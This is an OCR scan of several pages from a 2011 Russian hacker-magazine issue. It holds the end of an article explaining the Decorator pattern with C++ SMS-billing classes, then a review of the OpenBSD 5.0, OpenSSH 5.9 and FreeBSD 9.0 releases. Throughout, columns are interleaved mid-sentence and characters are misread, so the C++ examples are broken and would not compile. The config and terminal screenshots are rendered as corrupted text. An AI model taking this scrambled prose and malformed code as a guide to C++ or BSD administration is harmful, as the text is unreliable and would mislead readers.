сумму скидки, следовательно, он должен хорошо разбираться во все х

class SMSBeeline: {

puЫic

внутренних правилах ценообразования компании. Это сове ршенно

SMSBilling

неприемлемо, nоэтом у надо придумать более правильное решение.

puЫic :

virtual float cost() {

Идея разбить классы билли н га на несколько уровней была почти

правильной . Но, как известно, наследование не самая гибкая концепция в 00-программировании. Гораздо лучше нам подой­

return beelineCost;

дет композиция . Собственно, она и лежит в основе паттерна

};

« Декоратор>>. Мы, как и прежде , объявим класс SMSBilliпg и его дочерние классы SMSBeeline, SMSMegafon и SMSMts. Эти классы

}

11

классы

SMSMegafon

и

SMSMts

nодобны классу

SMSBeeline

у нас останутся без изменений, но с регионами и скидками мы

nостуnим по-другому. Сначала займемся республиками. Для этого

class SMSBeelineUA:

puЫic

создадим класс RegionDecoгatoг , который в качестве родителя

SMSBeeline

будет иметь хорошо известный нам

что он заnоминает ссылку на SMSBilling. Эта ссылка передается

virtual float cost() {

ему в конструкторе. Метод cost[J класса RegionDecoгatoг обраща­ ется к объекту тиnа

JJ

SMSBilling . Главное отличие

« Декоратора >> от остальных наследников базового билли н га в том,

puЫic :

получаем базовую стоимость от родительского

SMSBilling, вызывая его версию алгоритма для

подсчета стоимости СМ С. После этого он сможет модифицировать значение, полученное от биллинга. Чтобы было понятней , надо взглянуть на код.

ХАКЕР

112

www.epidemz.net

12/155/2011


Паттерн проектирования << Декор ато р >>

«Декоратор>> для

подсчета

uены

DiscountDecorator

в зависимости от региона

class SMSBilling

и несколько слоев обертывания

class Dis countDecorator:

SMSBilling

puЫic

{

private : SMSBilling &m_billing;

puЫic :

virtual float cost()

е;

puЫic :

class SMSBee.line: puЫic SMSBilling

DiscountDecorator(SMSBilling &billing) m_billing(billing)

puЬlic :

{ }

}

virtual float cost()

virtual float cost()

е;

{ }

return beelineCost; class BirthdayDiscountDecorator :

};

puЫic

DiscountDecorator

{ puЫic :

class RegionDecorator:

puЫic

BirthdayDiscountDecorator(SMSBilling &billing) DiscountDecorator(billing)

SMSBilling

{ }

{

private : SMSBilling &m_billing;

virtual float cost() {

puЫic :

RegionDecorator(SMSBilling &billing) m_billing(billing)

float costBirthday m_billing.cost() • coefficientBirthday; return costBirthday;

{ }

virtual float cost()

е;

}

class RURegionDecorator:

puЫic

RegionDecorator

{

11 11

другие классы "Декораторов "

11

создаем биллинг для конкретного оператора

подобны

скидок

BirthdayDiscountDecorator

puЫic :

RURegionDecorato r(SMSBilling &billing) RegionDecorator(billing)

SMSBilling &bi1ling

{}

11

virtual float cost()

billing

{

11 float costRU = m_billing.cost() • coefficientRU; r eturn costRU;

и

= пеw

UARegionDecorator и подобны RURegionDecorator классы

new BirthdayDisc ountDecoator(b illing ); стоимость с

с учетом скидки

fl oat cost

}

SMSBeeline();

RURegioпDecoator(billing);

будет возвращена и

= пеw

"Декоратор "

еще раз

billiпg =

11 11 11 11

оборачиваем в

поправкой на Россию

на день рождения

= billiпg.cost();

другие

Благодаря такой вот нехитрой манипуляции мы зна чит ельно

сократили количество используемых классов, повысили гибкость и упростили поддержку кода. Теперь клиенты классов биллинга

В примере мы объявили несколько конкретных реализаций

могут не беспокоиться о внутреннем устройстве нашего ПО .

регионального « Декоратора>>, таких как RURegioпDecoгatoг,

UARegionDecoгatoг и т. д. Кажды й из этих классов модифицирует

Однако ты можешь заметить, что проблема со ски д ками

стоимость СМС с учетом определенных условий. Благодаря по­

устранена не полностью . Клиенту до сих пор нужно знать, каким

лиморфизму клиенты биллинга не будут видеть разницы между

« Декоратором>> обернуть объект для получения нужной суммы.

« Д екоратором >> и реальным классом

Но , во-первых, ему н е надо знать размер скидки !как в случае с

SMSBilling.

Обернуть объект в

использованием метода

«Декоратор>> и воспользоваться им можно примерно так:

setDiscount),

а во - вторых, для полного

устранения зависимости от конкретных реализаций следует ис­ Используем

11

SMSBilling &billing

IJ

оборачиваем в

billing

11

пользовать фабрики классов - еще один патт ер н, о котором мы,

«Дек ораторы >>

возможно, п оговорим в следующий раз.

создаем биллинг для конкретного оператора

=

=

new SMSBeeline();

"Декоратор"

new RURegionDecoator(billing) ;

Использование паттерна «Декоратор>> позволило нам значительно упростить реализацию и поддержку сложной иерархии клас-

будет возвращена стоимость для России

float cost

=

billing.cost();

сов. Конечно, у него есть свои минусы: зависимость клиента от

реализации , а не от интерфейса !которая устраняется с помощью Уже обернутые объекты можно снова задекорировать. Ничто

фабрики классов) и невозможность использовать специфические

не мешает нам сделать зто бесконечное количество раз . Цепочка

для наследника методы. Однако в огромном количестве случаев

вызовов

этот шаблон проектирования сильно выручает. Е го правильное и

costll

будет раскручиваться от последнего «Декоратора >>

к реальному объекту биллинга. Эту возможность мы применим для

осознанное использование позволяет вывести сист ему на новый

создания « Д екоратора>> скидок - DiscouпtDecoгatoг.

уровень качества. :х:

ХАКЕР

113

12 / 155/ 2011

www.epidemz.net


Сергей Яремчук lgrinderlatux.iп.ual, .

UNIXOID

Евгений Зобнин lexecЬit.rul

-

• Релизы OpeпBSD

выходят два раза в год: 1 мая и 1 ноября. Версия 5.0 является 32 релизом ОС.

ЗНАКОМИМСЯ СРЕЛИЗАМИ

OPENBSD 5.0 И FREEBSD 9.0

• Первые версии OpeпBSD 2.3 и 2.4 в качестве талисмана использовали демона

с нимбом, похожего

на Beastie, затем его сменила рыбка Puffy из семейства иглобрюхих .

• День рождения -19 октября 11995 год!. В этом году

OpeпBSD

системе исполнилось

16лет.

Сегодня, когда ни один день

• OpeпBSD сегодня

не обходится без сообщений

ВSD-система после

Разработка

FгeeBSD . За ней следуют

о новых взломах и найденных

NetBSD и

из четырех

уязвимостях,возникает

• На базе OpeпBSD

ощущение, что защититься

LiveCD: MaгBSD, Quetzal, Fugulta, jggimi, OliveBSD, АпопуmОS, LiveCD-

от злоумышленников просто

невозможно. Но это совсем

не так. В мире ОС существуют бастионы, способные противостоять всевозможным

вторая по популярности

DгagoпFiyBSD .

создано несколько

-

OpeпBSD, BSDaпywheгe и другие.

ЗНАКОМИМСЯ С

OPENBSD 5.0

OpenBSD началась в 1995 году, когда Тео де Раадт, один основателей NetBSD, ушел из nроекта из-за разногласий

по поводу курса развития операционки. Он взял за основу дерево неткии приступил к созданию новой ОС , сделав упор на безопас­ ность. Девиз Fгее, Functioпal

and Secuгe nолностью отражает дух

этой системы. Под хо д к ее разработке можно назвать параноидаль­

ным, хотя, вероятно, именно таким он всегда и должен быть. Весь код проходит тщательную проверку, благодаря чему ошибки и дыры уда­ ется найти и уст ранить еще до того, как ими кто-нибудь восnользует­ ся, на стороннее ПО nеред включением в дерево nортов обязательно

• Сайт проекта OpeпBSD - opeпbsd . oгg .

ставятся дополнительные заплатки. После обнаружения ошибки проводится тотальный пересмотр соответствующего кода. Систем­

ные демоны ldhcpd, ntpd, bgpd ... ) разделены на несколько частей, и

в процессеработы только одна из них требует больших привилегий.

самые известные системы

Сайты русскоязычных пользователей OpenBSD- opeпbsd . гu

.o..lш!.r.u..

stгlcpy, issetugid, агс4гапdоm и другие) и дополнительные инстру­

этого класса. Посмотрим, что

угрозам.

OpenBSD

и FгееВSD­

Блог разработчиков

При разработке исnользуются собственный АРIIфункции stгlcat, менты !например, Systгace, GCC/PгoPolice), проводится рандомиза­

OpeпBSD Jouгпal­

ция всего и вся, что позволяет избежать проблем с безопасностью и

интересного предложили

uпdeadly.oгg .

превращает взлом

разработчики в их последних

• Веб-сервис по работе

версиях.

OpenBSD

вдовольнонеблагодарное занятие.

Другая важная особенность OpeпBSD состоит в том, что в этой

с деревом портов Opeп ­

сис теме , в отличие от

BSD- opeпpoгts.se .

ся драйвера в виде так называемых блобов IЬiob, от Ьiпагу linked

Linux и других 850-систем, не исnользуют­

ХАКЕР

111,

www.epidemz.net

12/155/2011


Броня крепка

Р11

np.u

&м4

ПQмс:•

I~

g.p...,.

~

5 cat /etc/rc . lociil SOpenBSD: rc.\ocet,v 1.44 2811/84/22 &6 : &8 : 14 ajacoutot

1

Qр.ц

laoA

1'\DоК•

!~

.\)lpМU

!tritde• 0'Ехр

r ..: 1- - S s5h 192 . 168.18.152 The ~uthli!ntlcity of h05t '192.168.18 . 152 (192 . 168.18.152)' can't ье e5taЫi5hed. ECDSA key t1nQerprint 15 eb:aa : eb : 84 : f5 : 8c:7b:78:16:81:82:47:5c : 7a : fe:~3. Аге you 5ure you want to contlnue connectinQ (yes/no)1 yes Warning: Perнnent\y ~dded ' 192.168.18 . 152' (ECDSAI to the t15t of known host5. ;rindert192 . 168 .18.1S2 · 5 pa55word: la5t \ogin: Thu Sep 15 12:25:89 2811 OpenBSO 5.e.current {GENERIC.MPI 167: Tue Sep 13 22: 12 :54 НОТ 2811

s

1 S1te - spec1f1c staгtup actions, da-.ons, and other thinvs Whtch 1 c&n Ье done AFТER your syste• goes lnto secure.ode. For actions 1, which shoutd Ье done BEFORE your systea has gone 1nto secure•ode 1 pteose see /etc/rc.securetevet. S cat /etc/rc.conf 11/Ыn/sh-

Wetco11e to OpenBSD: The proactivety secure Unix· like operating 5yste11.

SOpenBSD: rc . conf,v 1 . 168 28 11/87!24 15:33: 41 fgsch

11

E~tp

5 Р\еа5е u5e the 5endbug{1) util.ity to report bugs in the systeм. Before reporting а buQ, ptease try to reproduce it with the \ate5t verslon of the code. With bug repoгts, ptease try to ensure that enough 1nfoг•~t1on to repгoduce the ргоьtем 15 enctosed, and if а known flx for 1t ex15t5, inctude that 85 wtt .

1 set these to -но- , to turn the• off . otherwlse, tl'нl!y ' re used as ftags ldpd f\ogs•NO 1 tor norмat use: -· ripd- f\ogs • NO 1 tor norн\ use: •• 1a rou'ted_ f\ags • NO 1 tor nor.a\ use: · ·, 1f activoted 1 1 Ье sure to enaьte IIUlticast router be\ow. dv• rpd_ f\ogs•NO 1 tor norut use: •• osptd ttoos•NO 1 tor nor11o\ use: •• osptбd tt~gs•NO 1 tor norut use : •• bgpd f l~gs•NO 1 tor nor1111t use: •• r~rpd ttags•NO 1 tor noraat use: · ·~ · ьootpir~l1d_ft~gs•NO 1 tor nor.at use: ·• rbootd tt~gs • NO 1 tor norмt use: ,sshd_ tlaos•"" 1 for nor•at use: • • : n~нd ttags•NO 1 for norмt use : •• : nsd_ fl~gs•NO 1 tor nor11at use: "" '\dattach tt~QS•NO 1 tor noraat u5e; "(opt1on5] 11ned15c cu~ · device " ntpd tta'Q5•NO 1 for nor•~l u5e: "" 5akipd tlags• NO 1 tor nonaat u5e: " " ked пi;s •NO 1 tor nonaat u5e: •• a5yi1cd_ ftags • NO 1 tor nor11at u5e : "" opd_ tta;s• NO 1 tor norNl use: ··~ · ptld_ ftaQs•NO 1 for no rм\ use: •• hcpd flaQ5•NO 1 tor nor•~t use: • • ~crel~y_ ftag5•NO 1 for norм\ use: "·1 interface [server]"

..,

sts/etc/rc .

rc . secureteve\ rc . 5hutdown гc . conf гс.d/ rc . tocat sts/etc/rc.d dhcretay rbootd sasyncd ifstated \dattach nfsd dv11rpd \ dpd rc.subr send11ait apmd iked ftpd ntpd retayd 5ensor5d ~ucat inet d \ockd ftpproxy is~kllpd ospf6d ripd 511tpd tpd 5nllpd bootparalld hostapd ospfd route6d k~d•ind hotptugd pf\ogd rtadvd btd kd< IIOUntd 5Pa•d httpd kp~ssWdd рогtмар rtso\d 5pa•togd мrouted td~pd rarpd identd n<hod 5shd dhcpd s cat /etc/rc.tocat sOpenBSD: rc. toc~t.v 1.44 2811/84/22 86:88:14 ajacoutot Ехр $

l

~

OpenBSD по умолчанию

..,,

"''

...,

,

statd systogd watchdogd WSIIIOU51!d

yp5e rv

,,.

ypЬ!nd

yptdap yppa5swdd

1 S1te · 5pecific 5tartup action5,

d~eмons, and other th1ngs which ~ can Ье done AFТER your 5y5te• goe5 into secure11ode . For actions # which 5houtd Ье done BEFORE your 5у5tем has gone into secure~~e~de : lt ea5e see /etc/ rc.5ecuretevet .

'9- - Aнrn

O lollnu,!;

В

. ,,

/

•11

'tтl, l5C.., l7

о -

.,.

Начиная с OpenBSD 4.9 все сервисы перекочевали в /etc/rc.d

запускается минимум сервисов

object- объект двоичной компоновки!, скомпилированных модулей

Драйвера azalia[4J, vг(4), bnx(4), em(4), ix[4J, mpi(41 существенно

снедоступным исходным кодом. Конечно, такой подход сокраща-

улучшены.

ет список поддерживаемого оборудования, но зато гарантирует

Добавлена подде ржка Wake оп LAN для основныхтипов сетевых

за щиту от всякого рода сюрпризов. В настоящее время только три

карт (ге, vг, xl ).

ОС - ОрепВ50, gNew5eпse и Gobuпtu- не используют блобы . Самое

Фильтр па кетов pf получил возможность устанавливать приори­

главное, что для чистоты кода разработчики могут переписать любой

теты па кетов 1Pv6 АСК, оптимизирован алгоритм вычи с ления

драйвер или ПО, а впоследствии и перенести их в другие В50-

оптимального MTU, и збы точная проверканекоторых контроль­

сис темы. Если производители железа не идут нав стречу, то драйвер

ных сумм больше не проводится (1Pv4 и MPL51. В ospfd появилась поддержка Opaque L5A (Liпk-5tate

убирают из ядра, как это было в свое время с основатель

Adaptec. Интересно , что

F5F Ричард Стеллмен однажды заявил, что не рекомен­

дует ОрепВ50, так как эта ОС содержит неевободное ПО. Однако Тео

Adveгtisement), описанного в документа х RFC2370/RFC5250 и реализующего поддержку новыхтипов объявлений (9-111. Типы ,

<<Рича рд, ты н е прав>>, легко найти в интернетеl . На самом деле в

различающиеся по области объявления (от локального до домен­ ного), пока зарезервированы для последующего улучшения про­

портах находятся лишь

токола . Однако поддерживаемая маршрутизаторами технология

сразу же опроверг эти сло ва (его ответ, который начинается с фразы

Makefile с URL для закачки, а не сами про­

граммы. Дерево портов практич ески не содержит программ, которые

gгaceful гestaгt (или non-stop foгwaгding, RFC362ЗI уже использует

распро с траняются в скомпилированном виде без ис хо дного кода.

тип 9, когда возможен перезапуск раутера без изменения тополо­

Благодаря тому что в настоящий момент ОрепВ50 поддерживает

17

различных архитектур, она широко используется и для встраиваемы х

устройс тв. Этому также способствует В50-подобная лицензия

15(,

кото рая разрешает распространять, копировать и модифицировать код

без отчислений. Для сторонних компаний лицензия В50 удобнее

GPL,

гии сети, а MPL5 (механизм, осуществляющий передачуданны х от

одного узла сети к другому с помощью меток! управляеттрафиком с помощьютипа 1О . Теперь OpenB50 может полноценно работать с М РL5-марш рутизатора ми. Изменен алгоритм обработки XORP и XORQ в 5oftRA IO RAI06,

так как позволяет им свободно использовать возможности системы для

теперьэтиоперации производятся быстрее.

разработки собственных продуктов. Установленная

Исправлен ряд ошибок, которые приводили к зависанию системы

OpenB50 по умол ­

чанию почти не имеет активных сервиса в . Пользователь сам активи­

при переходе в режим гибернации на i386 .

руетто, что нужно ему для работы (sshd, ntpd, Х - во время установки!.

Повышена стабильность работы U5В-стека .

Хотя такой под хо д вызывает критику (в первую очередь у пользовате­

Удален режим compat_fгeebsd, в compat_liпux внесены многочис­

л ей Linu x, которые привыкли к тому, что << все включено » !, за все 16 лет

ленные изменения.

существования системы в ее версии по умолчанию были найдены всего

Создана программная заглушка, позволяющая в будущем при­

две критические уязвимости. (Only two гemote holes in the default iпstall,

цепить отладчик GNU Oebuggeг.

in а heck of а long time!l Чтобы кривые ручки пользователей не обруши­

Устранен рядошибок в консольном мультиплексоре tmu x, упрощены

ли систему, комьюнити (например, opeпbsd.гu l предлагают готовые

изменение и заморозка размера окон . Параметр '-s'теперь позволя ­

прокомментированные конфиги.

етотключить всех клиентов, подсоединенных к tmux-ceccии.

Практически с самого начала разработчики начали выпускать

В менеджере CWM вновьдоступна частота обновления экрана по

новые релизы с интервалом в полгода. Такого же графика они строго

умолчанию 60 Гц , меню окна теперь может работать и с Хiпегаmа,

придерживают с я и сейчас. На сегодня доступна версия

5.0 . Полный

пофиксены баги, связанные с отрисовкой окон программ. В би­

список изменений занимает не одну страницу мелким шрифтом: так,

блиотеках появился libdгm_гadeon, обеспечивающий поддержку

в новой версии увеличен список поддерживаемых устройств, устра­

30 в некоторых картах от АТI. В механизм sysctl включен параметр keгn . pool _ debug, на лету активирующий или отключающий опцию POOL_OEBUG (допол­

нен ряд ошибок и обновлен список ПО. Перечислим лишь некоторые нововведения.

Дляускоренияпоискасвободныхслотовфункциядинамического

нительные процед уры проверкипри выделении участков памяти

распределения памяти malloc теперь стартует с произвольнаго

для нужд приложенийl. Эта полезная для разработчиков опция

значения и берет первый свободный слот. Ранее поиск начинался

несколько нагружаетсистему. Раньше приходилось пересобирать

с нуля, а в его ходе пропускалось случайное число свободных

ядро, чтобы эту опцию отключить. Теперь в этом нет необходи­

участков. Такой алгоритм работалдовольно медленно. Новый

мости. Кстати, для AMD64 параметр Ьigmem активирован по умол­

подходдолжен увеличить быстродействие системы .

чанию.

ХАКЕР

115

12/155/2011

www.epidemz.net


_UNIXOID В ряде приложений и библиотек lhexdump, tcpdump,libc] исправ­ лены ошибки, возникавшие при использовании UTF-8. В OpenBSD 4.9 для запуска и остановки демонов используется

ФБР ПРОПЛАТИЛО ВНЕДРЕНИЕ

каталог /etc/гc.d. В версии 5.0 разработчики продолжили переход

БЭКДОРА В

нановуюсистемуинициализации,благодарячемузапределами

OPENBSD/IPSEC?

/etc/гc.d осталось лишь несколько гс-файлов гc . {local,shutdown}. Команда netstat -vP, выводящая данные о РСВ-адресах [Pгotocol

В конце 2010 года вокруг OpenBSD разгорелся скандал no поводу

Contгol Block], показывает дополнительные поля о сокетах.

вероятного внедрения бэкдора в подсистему

В disklabel появился ключ '-F', устанавливающий метку UID,

много, так как под удар потенциально попадали другие ОС и

которую теперь используютfdisk и mount [во время установки вы­

устройства, исполь зу ющие этот код . Но, естественно, бэкдор так и не

дается соответствующий запрос] .

нашли. Ссылка на новость: goo.gi/RI964.

IPsec. Ш у ма было

В качестве репазитария для pkg теперь можно задать на удален­

ном узле каталог вида scp://hostname/-useг/subdiг. Добавлена поддержка платформы Beagle Ьоагd [одноплатный компьютер с микропроцессором ОМАРЗ530 на основе ядра ARM

блокирует неразрешенные вы з овы. Чтобы использовать systгace,

Согtех-АВ , разработанный компаниями Texas lnstгuments и Digi-

необ х одимо активировать параметр SYSTR _ POLICY_ КILL в ядре

[пока поддерживается только OpenBSD I. Утилита seatbelt , предна­

Key].

з наченная для 05 X / Daгwiп, работает на основе политик, которые

НОВШЕСТВА

OPENSSH 5.9

запрещают дост у п к файловой системе и с ети. Утилита гlimit

С OpenBSD тесно связан ряд проектов, которые пользуются у юз­

разработана для те х случаев , когда предыд у щие две недоступны.

верей и админов не меньшим спросом, чем сама ОС. Это пакетный

С помощью setгlimitll она запрещает создавать новые проце с сы

фильтр PF, заменивший IPFilteг после разногласий с лицензией

и файловые де с крипторы. При и с пользовании saпdbo x значение

и впоследствии перекочевавший в другие BSD, демон NTP-

Uselogin после аутентификации игнорируется.

OpenNTPD , а также реализации протоколов динамической марш­ рутизации OpeпOSPFD и OpenBGPD. Кроме того, вовсю ведется разработка своего сервера CVS- OpenCVS . Хотя в любом случае возглавляет этот список OpenSSH- свободная реализация про­ токола SSH, обеспечивающего безопасное управление удаленным

Специфические параметры некоторых узлов в ssh _ config задают­ с я с помощью директивы Host, значениями которой могут выступать как определенные адреса или имена, так и шаблоны. Раньше в

качестве значения можно было выбрать модификатор«* » [любое со­ впадение! или ,, ? ,, [один любой символ!, но начиная с версии 5.9 ша­ блоны воспринимают и отрицание « !>>. Таким образом , чтобы теперь

хостом .

В версии OpeпSSH

5.9, анонсированной 6 сентября , появилась

указать все узлы, помимо определенных , можно написать:

дополнит е льная возможность повысить безопасность за счет

создания sandboxes [песочниц] и ограничения системных вызовов при помощи

cat /etc/ssh/s_sh_config Host *~example.org !hostl.example.org

#

systrace, seatbelt и rlimit. Такой механизм позволяет

защититься от атак на другие хосты [через со кеты или проксиl и некоторых локальных атак на систему. Пока поддержка saпdbox за­ явлена как экспериментальная, но в следующем релизе она станет

стандартной опцией. Этот режим активируется путем установки

SONG 5.0

параметра UsePгivilegeSepaгatioп в saпdbox, все остальное проис­ ходит автоматически. Теперь при сетевом подключении создается фор к, представляющий собой неnривилегированный сетевой процесс с ограниченными полномочиями, который обрабатывает

К каждому релизу команда OpenBSD выпускает комикс и песню.

55 Н-протокол, осуществляет сжатие и выполняет другие операции ,

С их помощью разработчики пытаются донести до пользователей

не связанные с аутентификацией. Нужный механизм блокировки

проблемы, с которыми пришлось столкн у ться при выпуске релиза.

выбирается на этаnе сборки в зависимости от ОС. Песочница кон­

Для версии 5.0 написана песня What М е Wоггу ? lgoo.gl/dRisZI.

тролирует список системных вызовов для systгace и автоматически

QQ

PC-BSD 9

_.,, " ...... ~·-,. ,,._,ccrl .... ....... .... ..., ....... , =-·QO!If """'·'"" .,,,._ ,.... ...... ~-~-· ••1 ....... . . . .... I"C,_., ..... .-.

·- = -·,..._ ..... ---- .. --

~ -corl lhtll•

!Ud.corl

INt.cl. ccri

Uh,kll"rc:

]dlpd,to'lt lф:l , conf

lосаЩ•

l..:.t..n:

lootn.ccnf

l\ll'll<.cfO

Практически параллельна с созданием FгeeBSD 9.0 велась

=·ccrl

..,,.... cord'

~.~

~

~--

GЕLI-шифрования, появилось несколько графических окружений

~.... l"'lf::.ccd

"'" ~~~

В обновленном инсталляторе ОС была упрощена настройка ZFS и

081Pf6d,_,

~

..o.I"C'

подготовка к выпуску десктоп-ориентированной версии PC-BSD 9.

rc,loc•l

-vrlos,DCd rc ,crle

~-pcrU\ .corl

.-.ol ~ .ocd ~•pd.cortl'

-~

~1. 001'11'

........ conl'

....... _,,

'"" _ ,

__ "

-~~

[КОЕ 4, GNOME 2, XFCE 4, LXDEI на выбор. Разработан новый центр управления, улучшены система резервного копирования

Life-Pгeseгveг и конфигуратор сети. Очень много изменений в системе управления РВI-пакетами- анонсирован новый формат,

который поддерживает совместное использование библиотек разными пакетами и мета па кетов, предназначенных для быстрого

Live media based оп OpenBSD 4.9-release: Downloads. fAQ, М;illing

развертывания группы приложений. Добавлена новая утилита для

liИ

обновления системы, поддерживающая работу с fгeebsd-update и

позволяющая обновить базовую систему до нового промежуточного

релиза [например, перейти с 9.0 на 9.11. На базе

OpenBSD создано несколько LiveCD

ХАКЕР

116

www.epidemz.net

12 / 155/ 2011


Броня крепка

Также добавлена поддержка ряда алгоритмов шифрования на основе

SHA256: HMAC-SHA2-256, HMAC-SHA2-256-96, HMAC-SHA2-512

и HMAC-SHA2-512-96 . Ут илита ssh-keysign стала корректно работать с ECDSA.

П араметр AuthoгizedKeysF il e isshd_conf ig) указывает, где искать nубличные ключи для аутентифика ци и. Хотя nри указании nути всег­

да можно было исnользовать символы nодстановки l%h -

д ома шни й

каталог, %u -·логин и т. n.), такого nараметра часто не хватало. Теnерь все стало н есколько nроще: AuthoгizedKeysFile nринимает

несколько nутей, которые nеречисляются через nробел !nоэтому имена каталогов не должны содержать nробелов). Аналогично в

UseгKnownHostsFile/GiobaiKnownHostsFile можно задать несколько файлов для хра нения с nи ска известных узлов. В версии 5.7 появилась новая оnция IPQ oS для nрисваивания nроиз­

вольных значений TOS/ DSCP/ QoS, благодаря которой можно уnравлять nриоритетом трафика . Теnерь IPQ oS реализована и для 1Pv6. Утилита

ssh-keygen nолучила ключ "-Д", который nозволяет гене­

рировать основ ны е тиnы ключей IRSA, DSA и ECDSA) с уста нов ками по умолчанию !nу с той n а роль и оnисание). Эта фича ве сьма nолезна nри инициализации сервера или наnисании скриnтов . Программа­ агент, храня щая ключи, теnерь также nринимает данные с конвейе­

ра из с тандартного ввода ssh-add- < /path/to/key, что несколько уnрощает добавление ключей в ssh-add в nроцессе их генерации или nолучения.

НОВОЕ В

FREEBSD 9.0

С не которой задержкой разработчики FгeeBSD nодошли к финалу версии 9.0. Это очень значимый релиз с долго ж данными обновле­ ниями, в котором исnравлены давние ошибки . Начиная с этой версии FгeeBSD ста л а г ораздо ближе к Linux в nлане nоддержки оборудо­ вания, исnользова ни я nоnулярных сего дн я технологий и общей nри ­

влекательности для систем ны х администраторов, nроизводителей серверов и сете вого оборуд ования. Одно из главных новшеств FгeeBSD 9 - это окончательная ин­ теграция в систему фреймвор ка динамиче ской трассировки ОТ г асе, изначально созданного для оnерационной системы Solaгis. Работа над интеграцией началась еще в nроце ссе nодготовки релиза

К каждому релизу

OpenBSD

выходит nаетер

7.0,

однако до сих пор DТгасе можно было исnользовать только для

с ком секторе. П ока система имеет на борту оба ком nилятора, но в

отладки ядра. Теnерь же этот фреймворк nозволяет осуществлять

следующих релиза х разработчики nланируют nолностью nерейти

и трассиров ку/отла дку nроцессов nользователя . Благ одаря этому но­

с GCC на LLVM/Ciang.

вовведению разработчики nолучат в свое расnоряжение мощней ши й

Для уnравления ресурсами, которые выделены nод отдельные

механизм отладки/исследования nриложений, не имеющий аналогов

nроцессы, nользователей или J аil-окружения, т еnерь достуnен

по мощи и универсальности в мире

фреймвор к RC TL , который nозволяет устанав ливать ограничения

UNIX.

Второе важное изменение- это интеграция в базовую версию

на достуnное количество nамяти, nр оцессорное время и любые

инфраструктуры LLVM и ком n илятора Clang, которые мо г ут за­

ресурсы, контролируемые системным вызовом se tгl im itl) . С nо­

менить GCC nри сборке ядра, окружения и большинства nортов .

мощью nростой команды гctl можно не только за nр етить груnnам

В отличие от GCC, новые версии которого выходят nод лицензией

nроцессов выходить за рамки лимита, но и настроить различные

GPLvЗ, LLVM /Ciang расnространяется nод лицензией BSD, что

события, наnример оnовещение nроцессов сигналом SIGHUP

должно сnособствовать расnространению FгeeBSD в коммерче-

или заnись сообщения в syslog !которое затем сможе т nрочитать скриnт, выnолняющий оnределенные ответные действия) . Традиционная модель безоnасности мандатного контроля достуnа доnолнена фреймворком Capsicum, который nозволяет изолировать nриложения, nри этом ограничиваемое nриложе-

ние вы n олняет только ранее оnределен ны е действия. Capsicum реализует ту же модель у nр авления достуnом, что и линукеавые

SELin ux и АррА гmог, но дел ает это иначе. Прило жение должн о само

24 GB

GPT

64 kB

freebsd-boot freebsd-ufs

/

freebsd-sиap

поnе

22 GB 1.2 GB

устанавливать с в ои nр ава н а те или иные оnера ции с оnределен­

ными файлами и ката ло гами, обращаясь к системному вы зову

cap_new l) или с nомощью системного вызова cap_enteгl) заключая себя в nесочницу, которая заблокирует все сис т ем ны е вызовы !или с nособы исnользования этих системных вызовов), которые могут nривести к nолучению /изме нению информации о др у ги х nроцесса х и всей системе в целом . Необ хо димость модификации nриложений -слабая сторона фреймворка, но , как nоказала nрактика, вносить

изменения очень nросто !для tcpdump nонадобилось добавить око­ ло десяти строк, а для chгomium- около ста). Во

FreeBSD 9.0 обновлен инеталлитор

ХАКЕР

Вне сено очень много доnолнений в ТСР-стек, ко торы й п о nраву

12/155/2011

117

www.epidemz.net


UNIXOID

77%

32.8% 16.3%

1

6.6% 2.6%

11

OOII!DOO • ,...,

l:i:IA)

6

, .... .,.,

)C xcnм.tJp.lcbld J• IJ,tlptllod

• stw~No.2·1Can11018

..AI Ic~-01 ..

. !ur"J.I1.fjl(~""**·

FreeBSD 9.0 собственной nереоной

Утилита gpaгt теnерь корректно расnознает такие ди ски во время разметки и выбирает правильное расnоложение nервого сектора, nри создании файловой системы UFS автоматически выбирается

размер блока 4/32 Кб. В ту же подсистему GEOM интегрирован фреймворк , nозволяю­ щий nривязывать разные nланировщики ввода-вывода к разным накоnителям, за счет чего можно улучшить nроизводительность

nри использовании накопителей разных классов . Также добавлен

новый упреждающий планировщик gsched_гг, который обесnечи­

Рейтинг nоnулярности ВSD-систем

вает отличную производительность в задачах с неравномерным

доступом к данным.

считается эталоном для други х *niх-систем: улучшена работа на

Реализация алгоритма AES для GЕОМ-класса дис кового шифро­

SМР-системах [с более чем 32 CPUI, реализована груnnировка

вания GELI теперь использует режим шифрования XTS , который на

ТСР-соединений и их nривязка к CPU , в ядро интегрировано nять

сегодня имеет максимальную устойчивость к атакам на предсказа­

новых модулей IHTCP, CUBIC , Vegas, НО и CHDI, отвечающих за

ние содержимого зашифрованных блоков данных .

контроль nерегрузки ICongestion Contгoll в ТСР. Для более точного измерения nараметров ТСР-nотока исnользуется модуль

ERTT

Устаревшая система управления программными RАID-массивами ataгa i d заменена на gгaid, которая не зависит от подсистемы АТА . Но­

IEnhanced Round Тгiр Timel , который nозволяет эффективнее

вая реализация, совместимая с любыми драйверами дисковой подси­

управлять Congestioп Contгol.

стемы , основана на инфраструктуре GEOM и построена no модульному

Старый sysinstall , который многие пользователи упрекали в топорности и ограниченности реализации, наконец заменен на

nринциnу. Благодаря этому базовый модуль отделен от модулей RАID­ уровней и модулей для определения формата хранения метаданных

модульный BSDiпstall, имеющий ряд полезных возможностей . Напри­

на диске . Поддерживаются популярные форматы метаданных lntel,

мер, он позволяет осуществить установку на несколько дисков, на

JMicгon , NVIDIA, Pгomise и Silicon lmage. Реализованы следующие

GРТ-диск, в ZFS и в Jail. Благодаря поддержке расширений и скрип­

RАID-уровни : RAIDO, RAID1 , RAID1E, RAID10. SINGLE, СОNСАТ.

тое автоматизации, возможности BSDinstall могут быть существенно

В системе появился новый GЕОМ-класс HAST, который имеет

расширены и дополнены различными интерфейсами !графическим,

сходные с ggate функции, а также позволяет настроить репликацию

текстовым , консольнымlбезизменениясамогоинсталлятора. Кроме

блочных устройств на множество узлов кластера с восстановлением

того , BSDinstall способен значительно быстрее установить операци­

после сбоя и автоматическим делегированием полномочий mаstег­

онную систему .

узла другой сетевой машине.

Добавлен новый универсальный USВ-драйвер, который обеспе­ чивает поддержку устройств с интерфейсом

USB 3.0, соответствую­

щих спецификации X HCIIe XteпsiЫe Host Contгolleг lnteгfacel. Этот

Код ZFS обновлен до версии 28, которая обеспечивает такие возможности, как:

Автоматическоераспознавание и объединениедубликатовдан­

интерфейс, совместимый со старыми контроллерами USB 1.0/2.0, в

ных lдедепликация), благодаря чему большое количество файлов

будущем должен заменить драйвера OHCI, UHCI и EHCI.

с похожим содержимым занимает гораздо меньше пространства

